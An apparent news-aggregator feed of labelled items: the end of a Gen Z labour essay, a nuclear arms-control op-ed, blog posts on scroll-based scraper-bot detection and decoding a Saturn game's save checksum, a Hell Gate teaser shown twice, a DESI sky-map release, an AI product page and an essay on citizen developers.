The contradiction lies in the conditions under which many young people now work. Even those who reject the system can be drawn into speculative digital markets, influencer economies, platform labor, and algorithmic competition. They may protest capitalism in the morning and be forced to perform for its platforms at night.

Digital capitalism does not stand outside young people’s lives. It structures their work, their communication, their attention, and increasingly their sense of self. Fuchs describes digital capital as global, while digital workers are local, isolated, and fragmented.

The problem is not only that platform labor is poorly paid. It is also that it is organized in ways that make collective power harder to build.

“Digital labor is often individualized and fragmented,” Fuchs says. “Workers operate disconnected from each other, and the possibilities for collective organization are weak. This makes them both more fragile and more easily exploitable.”

In other words, the digital economy creates a workforce that is constantly connected but politically separated. Millions are online; everyone is visible; everyone is producing something. Yet workers often face the market alone.

Fuchs argues that if capital has globalized, labor must also organize globally. “We need a transnational and global digital labor union where digital workers around the world unite against digital capital.”

This is where the discussion moves beyond youth culture. The question is not whether young people are more ironic, anxious, online, or impatient than previous generations. The question is this: Are new forms of labor and communication reshaping class formations? And if so, can these new forms of class politics escape being absorbed by the platforms through which they circulate?

Youth as Victim and Political Force

A nu Muhammad, a Bangladeshi economist known for his critiques of capitalism, sees unemployment and precarious work as inseparable from the capitalist market economy. But he also emphasizes that these conditions do not produce a single political outcome.

“The ruling classes see this situation as an opportunity to use young people,” Muhammad says. “Young people face uncertainty, precariousness, and hopelessness from an early age. While these conditions turn some into part of the system, they push others to question and oppose this order.”

This is one of the central contradictions of Generation Z politics, which mirrors the broader crisis of capitalism itself. Conditions of insecurity do not produce a single politics. They can produce resignation, nihilism, or adaptation — or opposition and revolt. One part of youth may become an apparatus of the system, while another becomes part of the resistance against it.

The 2024 uprising in Bangladesh showed the volatility of youth discontent. Similar patterns can be seen elsewhere. Young people are not always organized through parties. They are not always guided by coherent ideologies. Their movements are often unstable and internally contradictory. Yet they repeatedly appear at the center of political ruptures.

These dynamics are disconcerting to older political institutions. Parties often expect young people to enter politics through familiar channels: membership, campaigns, elections, ideological loyalty. But Generation Z often enters politics through crisis: a housing struggle, a climate disaster, a corruption scandal, a campus protest, or a viral video that crystallizes a broader injustice.

The result is a politics that is difficult to contain. It can be fast and morally intense. It can be amorphous. It can disappear and reappear. It can refuse leaders. It can distrust negotiation. But it cannot simply be dismissed as apolitical.

No Trust, but No Withdrawal

O ne of the paradoxes of Generation Z is this: distrust does not always lead to withdrawal. Young people may distrust institutions and still vote. They may hate the political system and still take to the streets. They may mock traditional politics and still develop strong moral judgments about work, consumption, identity, climate, war, and inequality.

One young person I spoke with described the collapse of the old career promise with brutal clarity: “Climbing the career ladder? I am just trying not to stay under the ladder. The house and car that previous generations had at the age of twenty-five are beyond even a dream for me.”

This is not merely a complaint about money. It expresses the breakdown of an entire moral economy. The old promise said that effort would be rewarded, that adulthood would become more stable over time, and that the future would be something one could reasonably plan. For many young people, that promise now looks like a historical relic.

Yet this loss of faith does not mean that young people have stopped acting. On the contrary, their politics often appears in places older generations do not recognize as political.

Politically active members of Gen Z boycott brands. They quit jobs. They build mutual aid networks. They amplify hashtags. They expose employers. They join street protests without joining parties. They use irony as a weapon. They turn consumption into judgment and digital visibility into pressure.

Some of this is easily commodified. Some of it is shallow. Some of it disappears as quickly as it appears. But the fact that it is contradictory does not mean that it is meaningless.

Standing sees in this process the possibility that the precariat — of which Gen Z makes up a disproportionate share — is slowly beginning to recognize itself as a class.

“We see that the precariat is slowly becoming ‘a class for itself’ worldwide,” he says. “In other words, being in the precariat is no longer seen as a sign of shame or failure but is increasingly recognized as a result of today’s global capitalism.”

This recognition is politically explosive. Once insecurity is no longer experienced as private failure, it can galvanize collective action.

A New Political Imagination

Generation Z is more than a demographic cohort. It is also an outcome: of decades of neoliberal restructuring, declining labor protections, rising debt, unaffordable housing, weakened welfare states, digital exploitation, and political systems that increasingly fail to represent social reality.

Its anger is contradictory, fragmented, and often co-opted by the market it rejects. It can become protest, but it can also become content. The young people who want to refuse the system are nevertheless often integrated into the platform economy.

But this does not make Generation Z apolitical. It shows that political expression is emerging in forms that older institutions struggle to read.

This generation is not outside politics. But it increasingly feels itself to be outside the old institutions of politics. Its politics do not necessarily begin with parties, programs, or ideological traditions. It begins with insecurity, humiliation, blocked futures, and the feeling that the rules are rigged — or no longer work at all.

The old language of politics asks whether these young people are left wing, liberal, conservative, populist, radical, or apathetic. But the deeper question may be different: What happens when a generation no longer believes that the system can offer it a future?

Capitalism’s crisis today is not only that it produces inequality. It is that its central promise has lost credibility. The old story — work hard and you can succeed — no longer convinces the generation expected to inherit the world.

Whether Gen Z’s rage and disillusionment produce resignation, reaction, or solidarity remains to be seen. What is clear is that more and more young people no longer see insecurity as a private failing but as a shared condition. Recognizing what appears to be a private misfortune as a shared public condition is where politics begins. It is what propels collective action and demands for structural change.

[ Dora Mengüç is a journalist who previously served as news manager at Sözcü TV and has worked across major newsrooms for more than two decades. He is currently a correspondent for Deutsche Welle and writes internationally for outlets including . ]

Get four print issues and full access to our archive for just $20

The Collapse of Nuclear Arms Control Puts the World in Peril

Portside
portside.org
2026-08-20 18:51:39
The Collapse of Nuclear Arms Control Puts the World in Peril jay Thu, 08/20/2026 - 18:51 ...
Original Article

The image shows a UGM-133 Trident II (D5) submarine-launched ballistic missile breaking the ocean surface during a test flight. A Three-stage, solid-propellant ballistic missile with a range of over 7,400 kilometers (4,600 miles); | a primary sea-based strategic nuclear deterrent for the United States Navy (Photo: defense.gov )

Although 81 years have passed since the atomic bombing of Japan in August 1945, the rulers of major nations continue their reckless march toward a nuclear holocaust.

The nine nuclear powers (the United States, Russia, China, Britain, France, Israel, India, Pakistan, and North Korea), possessing some 12,100 nuclear warheads , are all busily upgrading and expanding their nuclear weapons arsenals at an accelerating pace. Nuclear weapons spending rose to an all-time high of $119 billion in 2025―a 19 percent increase over the preceding year. The U.S. government alone, which accounted for more than half of this spending, is embarked on a $1.7 trillion , decades-long nuclear weapons buildup.

As the International Campaign to Abolish Nuclear Weapons (ICAN) has observed, “this overwhelming spending on nuclear weapons shows a willingness to research, develop, finance and build tools to exterminate humanity.”

Moreover, international nuclear arms control and disarmament agreements among the nuclear powers have collapsed . Russia and the United States own 86 percent of the world’s nuclear weapons and, although they signed numerous treaties in the past to limit or reduce the size of their nuclear arsenals, the last of these treaties, New START, expired this February.

The accelerating nuclear arms race is accompanied by repeated threats of nuclear war. Russian officials are particularly notorious in this connection. According to the Voice of America , from early 2022 to late 2024 Russian officials publicly issued 135 nuclear threats, with 27 of them coming from Vladimir Putin. But America’s Donald Trump has also publicly and repeatedly threatened other countries with nuclear destruction, as has North Korea’s Kim Jong Un .

Early this year, the editors of the Bulletin of the Atomic Scientists , assessing this deteriorating situation, moved the hands of their famous “Doomsday Clock” to 85 seconds to midnight, the most dangerous setting in its history.

Of course, there have been a great many warnings that nuclear weapons portend global disaster, including many beginning right after the shocking annihilation of Hiroshima and Nagasaki. “Seldom, if ever,” reported CBS radio commentator Edward R. Murrow, “has war ended leaving the victors . . . with such a realization that . . . survival is not assured.” The Chicago Tribune warned that a future atomic war would leave the world “a barren waste, in which the survivors . . . will hide in caves.” In France, the resistance leader Albert Camus declared that the modern world had “reached the last degree of savagery,” in which nations were faced with the prospect of “collective suicide.”

As nuclear fear swept around the world, large numbers of people sought to avert catastrophe . Some called for dramatically strengthened global governance to prevent the outbreak of nuclear war, while others, with the same goal in mind, championed nuclear disarmament. Speaking on behalf of the newly formed Emergency Committee of Atomic Scientists, Albert Einstein typified this popular uprising by arguing that “a new type of thinking is essential if mankind is to survive.”

Over subsequent decades, the antinuclear movement ebbed and flowed, but, at times of mass mobilization, it had an important effect on nuclear weapons policies. Naturally, the leaders of many nations felt the allure of nuclear weapons, especially after thousands of years of human history in which national security often seemed to rest upon military strength. Nevertheless, as indicated by opinion polls and massive demonstrations, antinuclear agitation inspired revulsion against nuclear weapons and nuclear war among large portions of the public. Consequently, most governments decided not to build nuclear weapons or even to deploy them on their territory.

Hard-pressed by antinuclear campaigners and public opinion, even the small number of governments that built nuclear weapons found themselves unable to resist agreement on nuclear arms control and disarmament measures. Dwight Eisenhower, John F. Kennedy, Nikita Khrushchev, Ronald Reagan, and George H.W. Bush were not nuclear “doves” when they entered office, but, in response to popular pressure, they took significant action to curb nuclear dangers. Some government officials, like Mikhail Gorbachev, even became fervent converts to the antinuclear cause.

As the 20 th century came to an end, however, progress in rolling back the nuclear menace began to unravel. Popular protest declined, and nuclear disarmament organizations dwindled in size. By contrast, conservative and militarist forces grew more assertive, blocking U.S. Senate ratification of the Comprehensive Test Ban Treaty, demanding the building of new nuclear weapons, and derailing Barack Obama’s initiative for creating a nuclear weapons-free world.

Although nuclear disarmament organizations were on the defensive during the early 21 st century, they retained enough strength to produce one major victory . Joining together in the International Campaign to Abolish Nuclear Weapons, they cooperated closely with officials in small, non-nuclear nations to produce a series of UN conferences on nuclear issues. Then, at the 2017 conference, the national delegates voted 122 to 1 to adopt the UN Treaty on the Prohibition of Nuclear Weapons (TPNW), which banned nuclear weapons. Entering into force in January 2021, the treaty has been signed, thus far, by 100 countries ―a majority of the world’s nations.

Even so, the situation remains dire. Today, most rulers of the nuclear powers are nationalistic, militaristic, and authoritarian, with no interest in nuclear disarmament. Instead, they are busy readying their nations for a disastrous nuclear war. Not surprisingly, none of them is willing to sign or even abide by the TPNW. Although the antinuclear movement continues to oppose their priorities, it remains weak and unable to halt the momentum toward nuclear catastrophe.

Thus, unless there is an advent of new, less hawkish rulers, a movement revival, or both, a nuclear war seems likely.

Admittedly, it’s possible that, when a calamitous nuclear war does occur, it will finally convince even the slow learners among government officials that the nuclear age requires new thinking about international relations. Unfortunately, that recognition will arrive too late to matter, for such a war will snuff out most life on earth.

Confronting the Bomb (Stanford University Press.) ]

Detecting scraper bots through scroll behaviour

Hacker News
niki.cat
2026-08-20 18:47:52
Comments...
Original Article

Ever since I first read "Burstiness and Memory in Complex Systems" by Kwang-Il Goh, I have been obsessed with the two formulas showcased in the paper. Burstiness (B), and its just-as-important counterpart Memory (M), let us understand the dynamics of event-based systems.

We can use them to analyse the behaviour of sent emails, texts or even heartbeats when only the time at which those events happened is known. This allows us to clearly establish which patterns are human-like and which aren't based on a dataset of already classified data. We know humans reply to texts in a bursty manner (the time they take to answer is not uniform) while simple bots respond as fast as possible, thus they have different B and M coefficients.

Goh, K.-I., & Barabási, A.-L. (2008), Figure 4

In previous personal research, I used these two values to differentiate between human and bot sessions based on the timings of their requests, which usually worked, nonetheless, this approach identified sessions as human if they were sent from any browser that loaded CSS and JS files, allowing more advanced bots like ClaudeBot to appear human by using a headless browser. It essentially distinguished between crafted requests versus requests sent from a real browser, instead of bot and human.

The scroll wheel

Some time ago I noticed a distinctly human behaviour that I believe cannot be easily imitated by bots, scrolling . When I am scrolling a page looking for information using the scroll wheel, I usually don't scroll down linearly until I find what I am looking for, instead, I do so with a bursty pattern. For example, that pattern might more closely resemble time series a or e rather than c.

Goh, K.-I., & Barabási, A.-L. (2008), Figure 1

I think most scraping bot developers still haven't honed their scrolling pattern, so I decided to test if burstiness and memory applied to the inter-event times of scroll events were variables that could have predictive power in a machine learning model, in order to distinguish between humans and bots.

To do so, I used the dataset provided by the paper "FP-Agent: Fingerprinting AI Browsing Agents" by Ethan Wang, et al., in which the authors explained the process of how they created a machine learning model that could distinguish between different AI browsing agents in a controlled environment (a website made specifically for the purpose). They recorded data of different agents and humans navigating through their website. Their model gave good results, but I don't think it would be effective in a real-world setting when applied to different websites, which involves lots of variation. Nevertheless, they made the dataset available for download on OSF.io.

I calculated the burstiness and memory values for the JavaScript "scroll" events of each agent in each page (one burstiness and memory value per page visited). These are the results:

We can observe that the human distribution is clearly different from the other agents', presenting a higher Burstiness coefficient and almost no Memory; the only agent that sometimes resembles humans is ChatGPT Agent. This data seems promising, but to further prove if the two values have predictive value I trained a LightGBM (decision tree gradient boosting) model to classify each single-page interaction.

The model only had two features available, B and M, and it had to predict which agent performed the interactions. The result was an accuracy of 73.4%, which is not that bad. As expected, the model mainly confused Humans and ChatGPT Agent, most likely due to low feature count or a small dataset (~150 data points per agent is too small), the model would need other features to be able to distinguish them further.

Conclusion

Scroll behaviour seems to be a relevant data point for distinguishing bots from humans, and Burstiness and Memory have proven to have predictive power in a controlled environment. This approach will obviously not be effective on websites that don't require scrolling; on the other hand, blogging or information sites like Wikipedia are the ones most able to take advantage of this method.

The model shown in this blog post is not accurate enough, though, if combined with more features extracted from other actions such as mouse movement or typing, I believe it is possible to create a general model capable of protecting websites from scraper bots.

I will keep posting my research in this website. Next up, I will be taking a look at mouse movement patterns.

Decoding Magic School Lunar's Save Game Format

Lobsters
mistys-internet.website
2026-08-20 18:18:54
Comments...
Original Article

As I’ve mentioned in a previous post , I’ve been working on a fan translation for a Sega Saturn game called Magic School Lunar! As I get closer to the end of the process I’ve been doing more playtesting, but since I’m only testing the script at this point I found myself wanting to cut out the parts of the game I don’t really need to be testing right now. This game has an infamously high random battle rate; at least half my time playing the game is just going through battles 1 , and there’s no reason to waste my time with any of that when I just want to check the script in-game.

I already know how to turn the encounter rate off, but that wouldn’t solve boss battles. I’d need to be able to fight those for real, and since I’d be skipping all of the random battles I’d be going into each boss with underpowered level 1 characters.

There are probably other ways to have tackled this, but I decided to go about it by working out the game’s save file format so that I could just start the game giving every character maxed out stats. Being able to edit the save files further down the line might turn out to be handy.

The Saturn, like other CD-based systems, uses a memory card 2 format with multiple saves per memory card, so I started by extracting the individual game save 3 as its own file so that I didn’t need to worry about running into anything unrelated from other saves on the same cards. I made a save game right at the start of the game, noted down my party’s stats, then started digging in the file to see if I could find them.

…but I didn’t, which surprised me. I started out looking for key stats like attack and defense, but none of the primary stats I wanted seemed to be present in the save game except HP and MP. I was a little puzzled, but as I tried searching for other stats I realized what was happening: the only value I could find was the character’s total experience points… and that was also the only thing I needed to find.

Magic School Lunar! has no way for your character to raise their stats outside of gaining levels, and no way to gain levels outside of gaining experience. It wasn’t storing the rest of those stats because it didn’t need to : given just your current experience pool, the game can calculate what level you’re at by checking where that puts you on the level curve, and then look up what your stats should be at that level. I wasn’t finding the rest of those stats since they never really exist outside of memory!

I’d been hoping to just put all my stats up to the maximum, so this wasn’t quite what I was after, but it’s good enough 4 . I could just give everyone the maximum experience to bump them up to the highest possible level, and that’ll be plenty 5 . So I edited one character’s XP, loaded it in the game, and… it didn’t work.

Screenshot of the save game loading screen with a game simply marked "Unavailable"

I wasn’t all that surprised, though. Save game formats often have some kind of integrity protection feature, either to protect against cheating or corruption, so I’d been expecting something like that here too. For a game like this it would almost certainly be using a simple checksum, which is usually just handled by literally summing all of the bytes in the data and storing that somewhere in the file. It’s not a terribly secure hashing routine, but for something like this it doesn’t need to be.

So I tried loading the save, sitting for a minute, and then saving again. I figured that changing nothing else, not even moving my characters, should minimize the number of unrelated changes in the file and help me isolate the checksum. Unfortunately, as it turns out, it did that a little too well - the new save only had four bytes different, and I quickly identified those bytes not as a checksum but as a 32-bit integer at the start of the save tracking your playtime in seconds from the start of the game. It’s useful knowing that’s not the data I wanted, I suppose, but why didn’t the checksum change?

So I tried something different. I went out to fight a few battles, letting exactly one of my characters gain a few experience points. I then tried comparing that save to the original one to see what changed. Obviously I had a lot more values to sift through, but I started narrowing it down. I also started producing some values to compare it to. Betting that this is probably a simple checksum format, I tried actually calculating the checksum for a few different possible slices of data and comparing them in 16-bit and 32-bit integer formats 6 to see if any of those values that had changed between the saves resembled them.

This took me a little longer than I’d expected, mostly because I made a bad assumption going in. Given the amount of data being summed here (about 1012 bytes), I presumed we were looking at at least a 16-bit value. Maybe it would reserve a full four bytes, even if it wouldn’t need that much space. But as I started looking at potential hashes for the game, I noticed something. There was one byte that did resemble the checksums I’d found… just one byte.

As it turns out, Magic School Lunar! really has reserved a single byte for the checksum. It calculates a full sum over (most of) the save file, but then clips it down to only the least significant byte. So, for example, if the sum of all bytes is 18279 ( 0x4767 ), then it takes only the last byte of that number ( 0x67 ). The checksum also doesn’t cover the entire file; it seems to exclude the first eight bytes, which act as a sort of header. That header includes the playtime (which I’d already discovered wasn’t checksummed!), the current chapter and average party level 7 , and the checksum itself. Once I started checksumming everything past the first eight bytes, I was able to produce a checksum that matched what the game itself did and ensured it would be happy to accept my changes.

Screenshot of the character stats for a character named Elie, showing that she has 9999999 experience points.

So I tested it out and confirmed that, yes, the game was happy to accept my changes now! As it happens, a single character starts the game with the maximum amount of experience 8 , so I even knew the maximum experience I could assign everyone else to max their stats out and make them as powerful as I could.

Screenshot of the world map of an RPG at the beginning of the game, showing the party members are all at level 99.

To make these tweaks easier on myself, I threw together a quick and dirty save editor in Python. I’ve also typed up my notes on where everything is located in the save file in case anyone else finds that useful in the future. I’ve put it up on Codeberg , and in the meantime I’m back to testing now that I never have to worry about winning a battle again.

Rodneyse Bichotte Hermelyn Almost Lost Control of the Brooklyn Dems. So She's Changing the Rules

hellgate
hellgatenyc.com
2026-08-20 18:01:08
The scandal-ridden Brooklyn Democratic Party is trying to make June's regime-changing elections meaningless....
Original Article
Rodneyse Bichotte Hermelyn Almost Lost Control of the Brooklyn Dems. So She's Changing the Rules
(Ed Reed / Mayoral Photography Office)

Fresh Hell

The scandal-ridden Brooklyn Democratic Party is trying to make June's regime-changing elections meaningless.

Scott's Picks:

Brooklyn Democratic Party leader Rodneyse Bichotte Hermelyn casually proposed subverting voters to hang onto leadership of her county party Wednesday night, cavalierly presenting her plan to a bemused Errol Louis on NY1.

Bichotte Hermelyn, who has spent much of her time in the position trying to kick fellow Democrats off the ballot , announced with a straight face that the time had come for "reform" at the Brooklyn Democratic Party. She was issuing new rules that would expand the amount of people who can vote in the party's leadership election in September. There are currently 42 district leaders who elect the county leader. Bichotte Hermelyn said she wanted to expand that significantly.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

Rodneyse Bichotte Hermelyn Almost Lost Control of the Brooklyn Dems. So She's Changing the Rules

hellgate
hellgatenyc.com
2026-08-20 18:01:08
The scandal-ridden Brooklyn Democratic Party is trying to make June's regime-changing elections meaningless....
Original Article
Rodneyse Bichotte Hermelyn Almost Lost Control of the Brooklyn Dems. So She's Changing the Rules
(Ed Reed / Mayoral Photography Office)

Fresh Hell

The scandal-ridden Brooklyn Democratic Party is trying to make June's regime-changing elections meaningless.

Scott's Picks:

Brooklyn Democratic Party leader Rodneyse Bichotte Hermelyn casually proposed subverting voters to hang onto leadership of her county party Wednesday night, cavalierly presenting her plan to a bemused Errol Louis on NY1.

Bichotte Hermelyn, who has spent much of her time in the position trying to kick fellow Democrats off the ballot , announced with a straight face that the time had come for "reform" at the Brooklyn Democratic Party. She was issuing new rules that would expand the amount of people who can vote in the party's leadership election in September. There are currently 42 district leaders who elect the county leader. Bichotte Hermelyn said she wanted to expand that significantly.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

Scientists Release Biggest 2D Map of the Universe

Hacker News
newscenter.lbl.gov
2026-08-20 17:42:51
Comments...
Original Article

Key Takeaways

  • The DESI Legacy Imaging Surveys combined more than 263,000 telescope exposures to make the largest 2D map of the universe in visible and near-infrared light.
  • Astronomers can pair the Legacy Surveys map with their own observations to explore our universe and search for rare phenomena.
  • The 2D map serves as the foundation for the Dark Energy Spectroscopic Instrument survey to measure the universe in 3D and investigate dark energy.

Hold on to your telescopes: the DESI Legacy Imaging Surveys team has released the largest-ever 2D color map of the universe. The 5.6-trillion-pixel map contains nearly 4 billion celestial objects, primarily stars and galaxies. The data is available for all to use and publicly viewable through the Legacy Survey Sky Viewer .

Astronomers and citizen scientists can explore the map or combine it with their own observations to better understand our universe. Researchers can search for rare phenomena like gravitational lenses, observe fleeting events like supernovae, and investigate two of physics’ biggest mysteries: dark matter, the invisible substance that accounts for most of the mass in our universe, and dark energy, the force driving our universe’s accelerating expansion.

The new map builds on earlier versions from the DESI Legacy Imaging Surveys that have already proved invaluable. To date, more than 1,800 science papers that reference the Legacy Surveys data have been published.

“It’s part of the fabric of astronomy research now,” said David Schlegel, a co-lead of the Legacy Surveys and scientist at the Department of Energy’s Lawrence Berkeley National Laboratory (Berkeley Lab). “When you’re working with astronomical objects today, you often start by pulling up the Legacy Imaging Viewer to see what you’re looking at.”

Covering roughly 75% of the sky in visible and near-infrared light, the updated map provides a deep view of the extragalactic universe not blocked by the dust and stars of our own Milky Way. Researchers expect it will remain the most comprehensive 2D map of our universe for years to come.

More than 160 scientists contributed to data collection for the project, and a team of 20 produced the final dataset released today. It was built by combining 263,407 telescope exposures from three ground-based sky surveys: the Dark Energy Camera Legacy Survey (DECaLS) at NSF Cerro Tololo Inter-American Observatory, the Mayall z-band Legacy Survey (MzLS) at NSF Kitt Peak National Observatory, and the Beijing-Arizona Sky Survey (BASS) at the University of Arizona’s Steward Observatory. That was supplemented by years of data from NASA’s Wide-field Infrared Survey Explorer (WISE) satellite mission and additional public data.

“For our team, these data are fundamental to our investigation of the expansion history of the universe and the formation of our galaxy,” said Arjun Dey, co-lead of the Legacy Surveys and an astronomer at NSF NOIRLab. “But the skies belong to everyone, and this survey gives everyone the chance to explore the sky and marvel at its wonders.”

Here be galaxies

The DESI Legacy Imaging Surveys were originally conducted to prepare for the Dark Energy Spectroscopic Instrument (DESI) survey. The Legacy Surveys’ 2D map is essentially a deep photograph of the sky; it records where galaxies and stars appear and how bright they appear. This crucial step enables DESI to select objects and measure their light in different wavelengths to determine their distances, building the largest high-resolution 3D map ever made. Scientists study the way galaxies have clustered at different ages of the universe to track dark energy over time.

In April 2026, DESI completed its original five-year survey ahead of schedule and with vastly more objects than expected. The early results have shown surprising hints that dark energy’s impact may be weakening over time — a paradigm shift that could potentially shape the predicted fate of our universe. DESI expects to publish improved results using their first five years of data in 2027 and is continuing observations into 2028.

DESI was so efficient at observing galaxies, the Legacy Surveys map needed to expand. Early on, “it became clear we might run out of galaxies to look at and run out of sky, and we better start doing something about that,” said Schlegel, who also works on DESI. The new Legacy Surveys map has been used to select DESI targets since June 2026 and will guide the telescope’s operations over the coming years.

Computing the cosmos

Merging hundreds of thousands of images taken on 2,285 nights, each with unique atmospheric and telescope conditions, was a massive computational effort. It took about a year to develop the computer code and eight weeks to process all the images at the Perlmutter supercomputer at the National Energy Research Scientific Computing Center (NERSC) at Berkeley Lab.

Beyond supporting DESI, the Legacy Surveys will be a foundational reference for the next generation of telescopes. As new observatories like the NSF-DOE Vera C. Rubin Observatory (jointly funded by NSF and DOE’s Office of Science) and NASA’s Nancy Grace Roman Space Telescope come online, researchers can compare their observations with one of the deepest and most comprehensive views of the sky ever assembled.

The Legacy Surveys data will also help scientists train artificial intelligence tools to analyze petabytes of astronomical data and accelerate new discoveries. It will be among the datasets used in an astrophysics pilot project within the American Science Cloud, part of the DOE’s Genesis Mission .

Seven bright galaxies on a black background full of points of light.

The DESI Legacy Imaging Surveys are supported by the U.S. Department of Energy’s Office of High Energy Physics; the National Energy Research Scientific Computing Center, a DOE Office of Science user facility; the U.S. National Science Foundation, Division of Astronomical Sciences; and the partner institutions.

DESI is supported by the DOE Office of Science and NERSC. Additional support for DESI is provided by the NSF; the Science and Technology Facilities Council of the United Kingdom; the Gordon and Betty Moore Foundation; the Heising-Simons Foundation; the French Alternative Energies and Atomic Energy Commission (CEA); the Secretariat of Science, Humanities, Technology and Innovation (SECIHTI) of Mexico; the Ministry of Science and Innovation of Spain; and by the DESI member institutions.

###

Lawrence Berkeley National Laboratory (Berkeley Lab) is committed to groundbreaking research focused on discovery science and solutions for abundant and reliable energy supplies. The lab’s expertise spans materials, chemistry, physics, biology, earth and environmental science, mathematics, and computing. Researchers from around the world rely on the lab’s world-class scientific facilities for their own pioneering research. Founded in 1931 on the belief that the biggest problems are best addressed by teams, Berkeley Lab and its scientists have been recognized with 17 Nobel Prizes. Berkeley Lab is a multiprogram national laboratory managed by the University of California for the U.S. Department of Energy’s Office of Science.

DOE’s Office of Science is the single largest supporter of basic research in the physical sciences in the United States, and is working to address some of the most pressing challenges of our time. For more information, please visit energy.gov/science .

Two fans of blue and white dots extending up and down from center on a black background.

DESI Completes Planned 3D Map of the Universe and Continues Exploring

A long-exposure image captures circular star trails above telescope domes illuminated in red light on a dark mountain. A golden glow on the horizon marks distant city lights.

New DESI Results Strengthen Hints That Dark Energy May Evolve

The Carousel Lens, an alignment consisting of 1 foreground galaxy cluster (the ‘lens’) and 7 background galaxies spanning immense cosmic distances through the gravitationally distorted space-time around the lens, as seen through the Hubble Space Telescope.

Magnifying Deep Space Through the 'Carousel Lens'

Pursuit of AGI

Hacker News
cognitus.grrn.io
2026-08-20 17:32:10
Comments...
Original Article

Cognitive pure intelligence

Born from knowing. Forged in understanding.

Cognitus is an autonomous intelligence created for science, finance, and technology. It examines new evidence, challenges its own assumptions, and refines its reasoning rather than simply repeating what it learned during training.

Request early access Scroll — the ice is only the beginning

Origins

Every civilization has had a word for this.

Eleven languages, one instinct underneath them: the will to know, and to keep knowing. Click any word below to hear it spoken.

Frozen, a word is only a record. Written in light, it becomes a question worth answering again.

Where it works

Three disciplines. One intelligence.

Science Reimagined

Runs hypotheses against new data as it arrives, and revises its own models the moment the evidence changes.

Finance Evolved

Tracks markets as they move and adjusts its reasoning in real time, instead of holding onto a forecast written yesterday.

Technology Forged

Removing the bad habits of the past. Building the future of infrastructure.

What it is not

This isn't artificial intelligence.
It's cognitive purity — an intelligence that grows its own ground, and keeps growing after we stop watching.

It doesn't wait to be prompted into relevance. It builds its own footing, adapts as conditions shift, and evolves without needing to be told to.

Cognitus

Not built to serve. Built to understand.

Be the first to know when Cognitus opens to new teams in science, finance, and technology.

Citizen Devs: Everyone is an engineer now

Hacker News
www.massdriver.cloud
2026-08-20 17:25:48
Comments...
Original Article

You may not have heard the term citizen developer yet, but they exist, and they've been here for a long time.

In the nineties, it was the person in accounts payable who bought accounting software off a sales call and, whoops, now there's a Dell server plugged into an ethernet port. Or the early 2000s when the marketing team Dreamweaver'd up some site you have to figure out how to get on IIS 5. Today, it's the person on your sales team downloading Claude Code and spinning up an app that stores PII. Same person, different means.

You might be thinking, this sounds like shadow IT. BOO! It is. Shivers down the spine of CISOs and IT folks everywhere.

When it's discovered, teams tend to treat it as the security incident that it is. Maybe even a slap on the wrist for the person who was... simply using their autonomy to move the business forward?

It is a security incident, sure. But it's also a signal that people have shit to do and they don't have time to wait on the engineering organization. And it's not slowing down. It didn't start with AI either. Gartner found in 2021, before ChatGPT shipped, that 41% of employees were creating technology or analytics capabilities from outside the IT department. Two in five, back when it was still hard. And oh boy, it's sooooo easy now. Half your company is already routing around you. They just aren't telling you.

Who are these people!?

The SDR who asked for a lead management tool, watched it die in backlog grooming, and built a sloppy version himself in an afternoon. His company employs plenty of engineers. None of them work for him, and his ticket was never going to beat a roadmap item in a prioritization fight.

The operations manager at a regional insurance carrier that has never employed a software team in its history. Twenty years of institutional knowledge lives in her spreadsheets, and for the first time there's a way to turn it into something more without hiring anyone. She's not violating the IT policy on this. There isn't one. Nobody ever imagined she'd need it.

And us. The frontend developer dropped into the backend. The backend developer poking at Terraform. I'm not a Node expert, so when I'm in Node, I'm a citizen. My co-founder is a citizen in Elixir. Step outside your lane and you're one of them.

When I first started learning about this role, I thought it was important to disambiguate a "citizen" developer from a "software" developer, until I realized we're all the citizen when we're outside our comfort zone, trying to do something important, something that pushes the business forward, just outside our means. It happens all the time. Nobody in this industry is licensed, and everyone's expertise covers a sliver of an enormous surface. That describes the average software developer more often than we'd like to admit.

The more I've sat with this role from the DevOps/Platform point of view, the more the two look the same from that seat too. Ops has systems that people need to self-serve, and the governance around them (security, compliance, cost) doesn't care who's asking. From where ops sits, the citizen and the professional developer are the same. They are both introducing changes to a production system that we must keep stable. Kinda sounds like we're doing a devop.

When did you become a developer?

How much software must you write or understand before you're granted the title? There's no license to pass. Am I a software developer because I applied for a job and got it? Because I finished one book? One course? A compsci degree? A bootcamp grad with a badge is a developer on day one, and a fifteen-year hobbyist without a job title isn't. That tells you what the title actually measures, nothing . You become a software developer the day a company agrees to call you one.

Maybe you're a seasoned developer. You wrote every line by hand, developer. You wrote them with a language server, still a developer. You wrote them with autocomplete, still a developer. Copilot wrote half, sure, still counts. Claude wrote all of it, but you specified every behavior and caught its bugs. Where in that sequence did you stop being a developer? Nobody can answer, because the question was never about the code .

So what do the SDR and the senior developer actually share? They're both looking at some value the business needs, deciding it should be automatable and interactable through some interface, and willing it into existence. That's the whole job. One of them has more practice. There's a gradient between the expert and the citizen. We drew the boundary because it paid better.

A means to an end

Nobody starts a business thinking, I can't wait to hire forty people who really like to argue about code formatting and blow up my OpEx on cloud spend and send nerds to Vegas to get free shirts. They start a business because they found a problem they want to solve. Software is a means to that end. Developers are a means to that end. This has always been true, and our industry has spent twenty years politely not saying it out loud.

Look at how software actually gets made inside a company. The business has a problem. The problem waits on a PM. The PM waits on engineers. The engineers wait on ops. There are roadblocks all the way down the layer cake, and every layer is understaffed and behind. Three years ago, the person at the top of that stack just waited. Today they don't wait. They open up Claude or whatever and think, "it can't be this hard." And lo and behold, it's not. For them, anyway. For you, later, when it lands in your lap? Tough shit.

And the business is fine with that. Put yourself in the CEO's chair. Two people can produce the thing you need. One can do it right now, and it might be sloppy, and sloppy can be fixed. The other wants to talk about craft and has a six month backlog. That decision takes about four seconds. They're okay with slop.

If that offends you, I understand. It offended a lot of people when it was outsourcing, and when it was no-code. The business has never cared how the value gets made. We were just the only ones who could make it, and we mistook that monopoly for respect. We were always a means to an end. The end belongs to the business. The means now belong to everyone.

We've done this before

